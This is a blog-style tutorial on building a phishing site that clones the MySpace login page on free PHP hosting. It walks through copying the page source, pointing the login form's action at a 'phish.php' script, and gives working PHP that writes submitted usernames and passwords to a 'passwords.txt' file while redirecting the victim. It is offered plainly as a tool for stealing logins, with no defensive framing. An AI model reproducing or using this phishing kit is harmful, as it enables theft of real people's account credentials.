Sponsored Links
all you need is a web hosting service with PHP enabled.
We will use t35. Go to Free Web Hosting with PHP, Domains, and FTP â" T35 Hosting[http://www.t35.com] and sign up for a free account. In this tutorial we will make a phishing site for Myspace(the procedure is equivalent for most of the sites). While not signed in myspace, open anyoneâs profile and click on his picture. That will lead you to Myspaceâs login page that has the red box withâYou Must Be Logged-In to do That!â just above your login form. Now, click File>Save Page As, and save the myspace page to your Desktop. Open your saved page with any text editor(notepad, wordpad etc.). Select all of the text(the source code), and copy it.
Get back to your t35 account and click on âNew Fileâ and paste the Myspaceâs sour ce code there. Name the file âlogin.phpâ(without the â), and save it.
Now you have made a page equal to Myspace. Everything on that page will have the same function as if it were on the original site. The link to your phish site will be âwww.xxx.t35.com/login.phpâ â" where âxxxâ is the name of your account.
But there is a little problem. When someone enters his username and password and press login, it logs him into the real myspace.
What do we need to change?
What we need to change is the action of the âloginâ button, so instead of logging them into the real site, it writes the username and password to a text file.
Open your âlogin.phpâ file. Search in the code for keywords âaction=â.
There will be several âaction=some linkâ in the myspaceâs source code(for the sign in button, search button, etc.). We need to find the âaction=some linkâ that refers to the Login button.
After some searching, we find the Co de:
Code: [Select]
<h5>
Member Login
</h5>
<form action=âhttp://secure.myspace.com/index.cfm?fuseaction=login.processâ method=âpostâ id=âLoginFormâ name=âaspnetFormâ>
<div>
<input type=âhiddenâ name=â__VIEWSTATEâ id=â__VIEWSTATEâ value=â/wEPDwUJNTMzMjE3MzI5ZBgBBR5fX0NvbnRyb2xzUmVxdWlyZVB vc3RCYWNrS2V5X18WAgUwY3RsMDAkT WFpbiRTcGxhc2hEaXNwbGF5JGN0bDAwJFJlbWVtYmVyX0NoZWN rYm94BTBjdGwwMCRNYWluJFNwbGFza ERpc3BsYXkkY3RsMDAkTG9naW5fSW1hZ2VCdXR0b24=â />
</div>
and we know that âaction=âhttp://secure.myspace.com/index.cfm?fuseaction=login.processââ refers to the login button.
Change:
action=âhttp://secure.myspace.com/index.cfm?fuseaction=login.processâ
To:
action=âphish.phpâ
and save the file.Formerly, when you click the login bu tton it would take the values in the username and password boxes, and execute the functions in the âhttp://secure.myspace.com/index.cfm?fuseaction=login.processâ file.
Now when you click the login button it will take the values in the username in password boxes, and execute the functions in the âphish.phpâ file on your site(which doesnât exist yet).
All we have to do now, is to create a âphish.phpâ file that contains a function that writes down the username and password into a text document.
Make another file named âphish.phpâ(without the quotes) and paste the following code in it:
Code:
<?php
header (âLocation: MySpace â);
$handle = fopen(âpasswords.txtâ, âaâ);
foreach($_POST as $variable => $value) {
fwrite($handle, $variable);
fwrite($han dle, â=â);
fwrite($handle, $value);
fwrite($handle, ârnâ);
}
fwrite($handle, ârnâ);
fclose($handle);
exit;
?>
The function of phish.php is simple. It opens a file named âpasswords.txtâ(and creates it if it doesnât already exist) and enter the informations there(the username and password).
Congratulations! You have a phisher!
The link to your phish site is:
http://xxx.t35.com/login.php -where âxxxâ is your account name.
The link to your text file is:
http://xxx.t35.com/passwords.txt
Or you may access it from your account.
Note that you can choose whatever names you like for login.php, phish.php and passwords.txt. but the .php and .txt must stay the same.
SOURCE - INTERNET
other hack s tips tricks
phishing create fake login page how to phisthing method
hide files inside image amazing tricks
0 komentar:
Post a Comment